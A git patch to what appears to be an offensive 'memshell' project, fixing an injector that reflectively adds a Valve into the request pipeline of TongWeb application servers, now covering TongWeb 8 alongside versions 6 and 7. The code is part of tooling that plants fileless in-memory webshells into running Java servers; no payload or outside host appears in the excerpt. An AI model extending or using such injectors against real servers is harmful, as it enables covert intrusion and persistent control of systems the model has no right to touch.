From 18d7cde49bf917e9fd4d90f6ac56cf46569599cf Mon Sep 17 00:00:00 2001 From: ReaJason Date: Mon, 2 Jun 2025 12:58:32 +0800 Subject: [PATCH] fix: TongWeb8 Valve not work --- .../injector/tongweb/TongWebValveInjector.java | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java index c535cca6..fa379b02 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java @@ -84,12 +84,18 @@ public class TongWebValveInjector { return; } Class valveClass = null; + ClassLoader contextClassLoader = context.getClass().getClassLoader(); try { // tongweb7 - valveClass = context.getClass().getClassLoader().loadClass("com.tongweb.catalina.Valve"); + valveClass = contextClassLoader.loadClass("com.tongweb.catalina.Valve"); } catch (ClassNotFoundException e) { - // tongweb6 - valveClass = context.getClass().getClassLoader().loadClass("com.tongweb.web.thor.Valve"); + try { + // tongweb6 + valveClass = contextClassLoader.loadClass("com.tongweb.web.thor.Valve"); + } catch (ClassNotFoundException e1) { + // tongweb8 + valveClass = contextClassLoader.loadClass("com.tongweb.server.Valve"); + } } invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); System.out.println("valve injected successfully");